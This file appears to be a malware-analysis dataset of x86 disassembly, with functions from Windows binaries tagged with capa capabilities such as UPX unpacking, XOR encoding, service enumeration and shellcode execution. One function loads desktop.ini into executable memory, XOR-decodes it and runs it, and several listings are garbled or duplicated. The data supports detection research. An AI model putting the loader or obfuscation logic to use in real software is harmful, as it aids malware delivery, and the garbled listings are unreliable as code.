joyce8/EMBER2024-capa huggingface dataset:
Function at 0x534fb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe0000]
push edi
jmp 0x534fca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x534fd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534fc0
mov eax, 1
add ebx, ebx
jne 0x534fe3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x534ff4
jne 0x535013
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x535013
dec eax
add ebx, ebx
jne 0x535000
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x534fd8
add ebx, ebx
jne 0x53500f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x535065
xor ecx, ecx
sub eax, 3
jb 0x53502b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53509a
sar eax, 1
mov ebp, eax
jmp 0x535036
add ebx, ebx
jne 0x535036
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x535004
inc ecx
add ebx, ebx
jne 0x535044
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x535004
add ebx, ebx
jne 0x535051
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x535046
jne 0x535062
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x535046
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x535084
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x535076
jmp 0x534fc6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x535084
add edi, ecx
jmp 0x534fc6
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5350a2
cmp byte [edi], 0x11
jne 0x5350a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5350a7
lea edi, [esi + 0x12d000]
mov eax, dword [edi]
or eax, eax
je 0x53511f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x190f18]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x191094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5350d4
mov ecx, edi
jns 0x535103
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x191098]
or eax, eax
je 0x535119
mov dword [ebx], eax
add ebx, 4
jmp 0x5350f1
call dword [esi + 0x1910a8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x535150
cmp al, 0xef
ja 0x535143
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x535125
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x535132
mov ebp, dword [esi + 0x19109c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x535184
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret

Function at 0x1002df80
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1002e144
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1f000]
push edi
or ebp, 0xffffffff
jmp 0x1002dfaa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1002dfb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1002dfa0
mov eax, 1
add ebx, ebx
jne 0x1002dfc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1002dfb8
jne 0x1002dfd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1002dfb8
xor ecx, ecx
sub eax, 3
jb 0x1002dfe8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1002e05a
mov ebp, eax
add ebx, ebx
jne 0x1002dff3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1002e000
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1002e024
inc ecx
add ebx, ebx
jne 0x1002e010
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1002e005
jne 0x1002e021
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1002e005
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1002e044
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1002e035
jmp 0x1002dfa6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1002e044
add edi, ecx
jmp 0x1002dfa6
pop esi
mov edi, esi
mov ecx, 0xc42
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1002e062
cmp byte [edi], 0x11
jne 0x1002e062
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1002e067
lea edi, [esi + 0x2a000]
mov eax, dword [edi]
or eax, eax
je 0x1002e0d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e44c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e49c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1002e094
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e4a0]
or eax, eax
je 0x1002e0d0
mov dword [ebx], eax
add ebx, 4
jmp 0x1002e0b1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1002e107
cmp al, 0xef
ja 0x1002e0fa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1002e0dc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1002e0e9
mov ebp, dword [esi + 0x2e4a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1002e13b
sub esp, 0xffffff80
jmp 0x10013194
Function at 0x406528
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
mov ebx, edx
cmp dword [eax + 8], 0
je 0x406543
mov edx, ebx
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x3c]
jmp 0x406559
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
jne 0x406556
call sub.rtl160.bpl__System_Sysutils_RaiseLastOSError_qqrv
mov eax, dword [ebp - 0x18]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ee88
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
mov dword [ebp - 4], eax
mov byte [ebp - 5], 0
push 0
xor ecx, ecx
mov edx, 8
mov eax, dword [ebp - 4]
call fcn.0040f2ec
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40ef21
xor eax, eax
push ebp
push 0x40ef1a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
push 3
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_EnumDependentServicesW
test eax, eax
jne 0x40eef6
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xea
jne 0x40eef6
cmp dword [ebp - 0x14], 0
ja 0x40eefa
xor eax, eax
jmp 0x40eefc
mov al, 1
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ef21
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0040e140
ret
movzx eax, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x40f0ac
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, dword [ebp + 0xc]
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax], edx
xor eax, eax
mov dword [esi], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov ebx, 1
movzx eax, byte [ebp + 8]
sub al, 1
jb 0x40f0e6
je 0x40f0ed
dec al
je 0x40f0f4
jmp 0x40f0f9
mov ebx, 1
jmp 0x40f0f9
mov ebx, 2
jmp 0x40f0f9
mov ebx, 3
push esi
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
push ebx
push edi
call sub.advapi32.dll_EnumDependentServicesW
test eax, eax
jne 0x40f11d
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xea
jne 0x40f18d
cmp dword [ebp - 0xc], 0
je 0x40f18d
mov eax, dword [ebp - 0xc]
push eax
call sub.rtl160.bpl__System_GetMemory_qi
pop ecx
mov edx, dword [ebp - 4]
mov dword [edx], eax
xor eax, eax
push ebp
push 0x40f186
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
push ebx
push edi
call sub.advapi32.dll_EnumDependentServicesW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f18d
cmp byte [ebp - 5], 0
jne 0x40f185
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
call sub.rtl160.bpl__System_FreeMemory_qpv
pop ecx
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax], edx
ret
movzx eax, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x411930
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov esi, dword [ebp - 8]
push esi
push ebx
push 0x30
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0xa0]
push eax
call sub.advapi32.dll_EnumServicesStatusW
call sub.kernel32.dll_GetLastError_1
cmp eax, 6
jne 0x4119ae
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004116fc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push ebx
push 0x30
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0xa0]
push eax
call sub.advapi32.dll_EnumServicesStatusW
cmp dword [ebp - 0x10], 0
je 0x411a17
mov eax, dword [ebp - 0x10]
push eax
call sub.rtl160.bpl__System_GetMemory_qi
pop ecx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x411a10
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
push 0x30
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0xa0]
push eax
call sub.advapi32.dll_EnumServicesStatusW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411a17
mov eax, dword [ebp - 8]
push eax
call sub.rtl160.bpl__System_FreeMemory_qpv
pop ecx
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10007e01
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
invalid
jmp 0xf801b68
invalid
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
jp 0x10007dc9
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x10007ddd
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x10007de5
inc ebp
invalid
push edi
mov byte [ebp - 0x70], 0x16
call fcn.10007947
push edx
cmpsd dword [esi], dword es:[edi]
invalid
jp 0x10007dc9
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid

Function at 0x10008017
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1000801e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000803c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
invalid
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x1000809a
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
loop 0x1000806c
add byte [eax], al
and byte [ecx + 0x1065], al
invalid
invalid
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10008081
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1000808a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10008094
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10008076
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10008000
invalid
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x100080e7
dec eax
je 0x100080de
sub eax, 3
je 0x100080d5
mov dword [ebp - 4], 0x40
jmp 0x10008104
mov dword [ebp - 4], 4
jmp 0x100080ea
mov dword [ebp - 4], 0x20
jmp 0x100080ea
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
invalid
xchg ebp, eax
inc esp
Function at 0x10008038
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1000801e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000803c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
invalid
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x1000809a
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
loop 0x1000806c
add byte [eax], al
and byte [ecx + 0x1065], al
invalid
invalid
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10008081
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1000808a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10008094
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10008076
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10008000
invalid
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x100080e7
dec eax
je 0x100080de
sub eax, 3
je 0x100080d5
mov dword [ebp - 4], 0x40
jmp 0x10008104
mov dword [ebp - 4], 4
jmp 0x100080ea
mov dword [ebp - 4], 0x20
jmp 0x100080ea
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
invalid
xchg ebp, eax
inc esp
Function at 0x1000806a
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1000801e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000803c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
invalid
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x1000809a
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
loop 0x1000806c
add byte [eax], al
and byte [ecx + 0x1065], al
invalid
invalid
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10008081
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1000808a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10008094
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10008076
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10008000
invalid
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x100080e7
dec eax
je 0x100080de
sub eax, 3
je 0x100080d5
mov dword [ebp - 4], 0x40
jmp 0x10008104
mov dword [ebp - 4], 4
jmp 0x100080ea
mov dword [ebp - 4], 0x20
jmp 0x100080ea
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
invalid
xchg ebp, eax
inc esp

Function at 0x100081a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.10007957
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1000790c
add esp, 0xc
invalid
invalid
je 0x100081f8
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x403430
Capabilities:
Encode data using xor

Disassembly:
add byte [ebx + 0x410ba80d], cl
add byte [ebx - 0x2d], al
push 0xc
pop ss
inc ecx
add byte [eax + 0x50], dl
fiadd word [ecx]
sbb bl, ah
inc eax
add bh, bh
salc
add esp, 0x18
adc eax, 0x4c7d029c
sbb byte [ebp + edx - 0x64], ah
add bh, byte [ebp + 0x4c]
mov eax, dword [0x4102d1]
mov ecx, dword [0x4178a8]
push edx
push eax
adc esi, eax
mov byte [ecx - 0x2b], 0x50
push eax
push ecx
push 0x4036c0
dec esp
salc
fld qword [ebp - 0x38]
sub al, 0x28
xor dl, al
inc eax
add byte [ebx - 0x1f20e73c], al
test ah, 0x82
jnp 0xdb403552
fucom st(0)
jecxz 0x40344a
pop ss
add ah, bl
dec al
mov eax, dword [0x411739]
mov edx, dword [0x410ba8]
sub esp, 8
sbb dword [ebp - 0x38], 0x2ac059a
inc ecx
add ah, bl
dec ebp
sbb al, 0xdc
or eax, 0x40c220
fstp qword [esp]
push eax
push eax
push edx
push 0x6ee29f
push dword [edi - 0x21]
xchg ebx, eax
scasd eax, dword es:[edi]
add al, byte [ecx]
mov eax, dword [0x3c17e7]
invalid

Function at 0x40b320
Capabilities:
Write file on windows

Disassembly:
invalid
adc eax, sym.imp.KERNEL32.dll_WriteFile
test dword [ebx + 0x458b2f74], esi
cld
mov edx, dword [esi + 0x50]
sub byte [esi + 0x77], cl
add edx, eax
in al, dx
ja 0x40b337
sub edi, eax
add ebx, eax
mov dword [esi - 0x6a], edx
test edi, edi
mov dword [esi + 0x54], ecx
ja 0x40b307
mov eax, dword [ebp + 8]
pop edi
mov dword [esi + 0x3c], 0xf00000
pop ebx
mov dl, 0xad
in eax, 0xb2
ret 4
Function at 0x827c80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp + 8], eax
mov eax, dword [0x8270b0]
push esi
push edi
test eax, eax
jne 0x827cfd
mov esi, 0x8273ac
mov edx, dword [esi]
lea eax, [ebp - 0x24]
mov cl, byte [edx]
test cl, cl
je 0x827cbb
lea edi, [ebp - 0x24]
sub edx, edi
xor cl, 0x55
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
inc eax
test cl, cl
jne 0x827cad
lea ecx, [ebp - 0x24]
mov byte [eax], 0
push ecx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov edx, dword [esi - 4]
add esi, 8
cmp esi, 0x8273c4
mov dword [edx], eax
jl 0x827c9d
mov ecx, dword [0x8270b0]
mov eax, dword [sym.imp.kernel32.dll_GetModuleHandleA]
push 0
push 0x8273d4
push ecx
mov dword [0x8270a8], eax
call fcn.00827eb0
add esp, 0xc
mov dword [0x8270ac], eax
mov dword [ebp - 4], 0
mov esi, 0x8273ac
mov edx, dword [esi]
mov cl, byte [edx]
test cl, cl
je 0x827d46
mov eax, dword [ebp + 8]
mov al, byte [eax]
test al, al
je 0x827d46
cmp al, 0x5a
jg 0x827d32
cmp al, 0x41
jl 0x827d32
movsx edi, al
add edi, 0x20
movsx ebx, cl
xor edi, 0x55
cmp ebx, edi
je 0x827d38
xor al, 0x55
cmp cl, al
jne 0x827d46
mov ecx, dword [ebp + 8]
inc edx
inc ecx
mov dword [ebp + 8], ecx
mov cl, byte [edx]
test cl, cl
jne 0x827d11
cmp byte [edx], 0
je 0x827d66
mov edx, dword [ebp - 4]
add esi, 8
inc edx
cmp esi, 0x8273c4
mov dword [ebp - 4], edx
jl 0x827d09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov edx, dword [ecx*8 + 0x8273a8]
mov eax, dword [edx]
mov esp, ebp
pop ebp
ret